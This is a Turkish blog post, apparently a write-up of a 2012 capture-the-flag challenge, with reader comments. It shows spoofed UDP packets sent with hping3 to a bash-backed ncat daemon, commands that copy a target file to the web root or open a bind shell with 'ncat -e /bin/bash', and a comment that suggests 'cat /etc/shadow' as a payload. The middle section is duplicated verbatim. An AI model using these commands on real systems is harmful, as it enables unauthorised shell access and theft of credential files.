Bu makalemde UDP paketlerin data kısmına istenilen herhangi bir komut yerleştirerek uzak sistemlerde koşturulmasından bahsedeceğim.BGA tarafından düzenlenen CTF(Capture the flag) 2012 yarışmasında karşılaştıgım bu adım biraz zorlamıştı ama nihayetinde şöyle bir çözüm bulmuştum.Bize verilen bilgi yalnızca bir URL adresi(start.hack2net.com) ve bu adresin UDP 9999 portunun bir daemon tarafından dinlendigini ve bu porta yalnızca 5.5.5.5 IP adresinden gelen isteklerin dogrudan işletim sisteminde çalıştırıldığı şeklindeydi.
Yani sunucuda şuna benzer bir komut çalıştırılmış:
ncat -u -c /bin/bash -k -n -v --allow 5.5.5.5 -l 9999
Bu bilgi ışığında bizim bu sistemden ismi verilen(bgactf.tc) isimli trucrypte ile şifrelenmiş dosyayı alıp kırmamız istenmişti.Bu durumda UDP paketlerine istediğimiz datayı yerleştirip hedef sisteme göndermemiz gerekiyordu.Bu şekilde istenen dosyayı bulup bunu web dizinine atıp download edebilecektik.Spoof işleminin yapılmasında NAT arkasındaki sistemler sorun çıkardığı için VPS server kullanılmamız gerekti.Istenilen bir datayı istenilen bir ip ile spoof edip hedefe gönderebilmek için hping aracını kullandık.
Hping aracı ile bu işlemi yapabilmek için ilgili komut şu şekilde:
root@erd-pc:/home/erd# hping3 --udp 85.95.238.171 -p 9999 -a 5.5.5.5 -E data -d 500
Burada data dosyasının içine örnek olarak şöyle bir komut yazdıgımızı düşünelim:
mkdir /var/networkpentest;cp /tmp/bgactf.tc /var/networkpentest
Böylece /var/ dizini altında önce bir networkpentest isimli bir dizin oluşturmuş olacagız ve ardından cp komutu ile istediğimiz yerdeki bir dosyayı /var/ dizini altında oluşturduğumuz yeni dizine kopyalamış olacagız.Ardından bu dosya start.hack2net.com/networkpentest/bgactf.tc adresinden çagrılarak download edilebilir.
Veya sunucu üzerindeki bir tcp portunu listen moda alıp tüm dünyaya açmak ve daha rahat hareket etmek için data dosyasına şöye bir ncat komutu da girilebilir.
ncat -e /bin/bash -l 8888 --keep-open -v
Yine yukarıdaki gibi hping aracı ile bu komut uzak sisteme gönderildiginde sistemde 8888 tcp portu listen moda alınmış olur.Yani dışardan gelecek bağlantıları kabul edecek ve ayrıca dışardan bağlantı kurulduktan sonra gelen istekler /bin/bash de koşturulmuş olacak.Tabi burada uzak sistem linux türevi bir sistem ve ncat üzerinde kurulu.
Hping ile uzak sistemde bu komut koşturulduğuktan sonra şu şekilde bir komut ile sisteme bağlanılabilir:
root@erd-pc:/home/erd# ncat start.hack2net.com 8888
ifconfig
eth0 Link encap:Ethernet HWaddr aa:00:04:00:0a:04
inet addr:85.95.238.171 Bcast:85.95.238.172 Mask:255.255.255.128
inet6 addr: fe80::a800:4ff:fe00:a04/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:42621 errors:0 dropped:0 overruns:0 frame:0
TX packets:33233 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29538200 (29.5 MB) TX bytes:4618406 (4.6 MB)
Interrupt:17
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:34884 errors:0 dropped:0 overruns:0 frame:0
TX packets:34884 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7255079 (7.2 MB) TX bytes:7255079 (7.2 MB)
Yani sunucuda şuna benzer bir komut çalıştırılmış:
ncat -u -c /bin/bash -k -n -v --allow 5.5.5.5 -l 9999
Bu bilgi ışığında bizim bu sistemden ismi verilen(bgactf.tc) isimli trucrypte ile şifrelenmiş dosyayı alıp kırmamız istenmişti.Bu durumda UDP paketlerine istediğimiz datayı yerleştirip hedef sisteme göndermemiz gerekiyordu.Bu şekilde istenen dosyayı bulup bunu web dizinine atıp download edebilecektik.Spoof işleminin yapılmasında NAT arkasındaki sistemler sorun çıkardığı için VPS server kullanılmamız gerekti.Istenilen bir datayı istenilen bir ip ile spoof edip hedefe gönderebilmek için hping aracını kullandık.
Hping aracı ile bu işlemi yapabilmek için ilgili komut şu şekilde:
root@erd-pc:/home/erd# hping3 --udp 85.95.238.171 -p 9999 -a 5.5.5.5 -E data -d 500
Burada data dosyasının içine örnek olarak şöyle bir komut yazdıgımızı düşünelim:
mkdir /var/networkpentest;cp /tmp/bgactf.tc /var/networkpentest
Böylece /var/ dizini altında önce bir networkpentest isimli bir dizin oluşturmuş olacagız ve ardından cp komutu ile istediğimiz yerdeki bir dosyayı /var/ dizini altında oluşturduğumuz yeni dizine kopyalamış olacagız.Ardından bu dosya start.hack2net.com/networkpentest/bgactf.tc adresinden çagrılarak download edilebilir.
Veya sunucu üzerindeki bir tcp portunu listen moda alıp tüm dünyaya açmak ve daha rahat hareket etmek için data dosyasına şöye bir ncat komutu da girilebilir.
ncat -e /bin/bash -l 8888 --keep-open -v
Yine yukarıdaki gibi hping aracı ile bu komut uzak sisteme gönderildiginde sistemde 8888 tcp portu listen moda alınmış olur.Yani dışardan gelecek bağlantıları kabul edecek ve ayrıca dışardan bağlantı kurulduktan sonra gelen istekler /bin/bash de koşturulmuş olacak.Tabi burada uzak sistem linux türevi bir sistem ve ncat üzerinde kurulu.
Hping ile uzak sistemde bu komut koşturulduğuktan sonra şu şekilde bir komut ile sisteme bağlanılabilir:
root@erd-pc:/home/erd# ncat start.hack2net.com 8888
ifconfig
eth0 Link encap:Ethernet HWaddr aa:00:04:00:0a:04
inet addr:85.95.238.171 Bcast:85.95.238.172 Mask:255.255.255.128
inet6 addr: fe80::a800:4ff:fe00:a04/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:42621 errors:0 dropped:0 overruns:0 frame:0
TX packets:33233 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29538200 (29.5 MB) TX bytes:4618406 (4.6 MB)
Interrupt:17
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:34884 errors:0 dropped:0 overruns:0 frame:0
TX packets:34884 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7255079 (7.2 MB) TX bytes:7255079 (7.2 MB)
bgactf.tc silinmiş
YanıtlaSilBu yorum bir blog yöneticisi tarafından silindi.
YanıtlaSilhocam 'data'ya o komutları nasıl atıyoruz?
YanıtlaSildata dosyası herhangi bir text dosyası içine direk yazabilirsiniz.
YanıtlaSilörn: cat /etc/shadow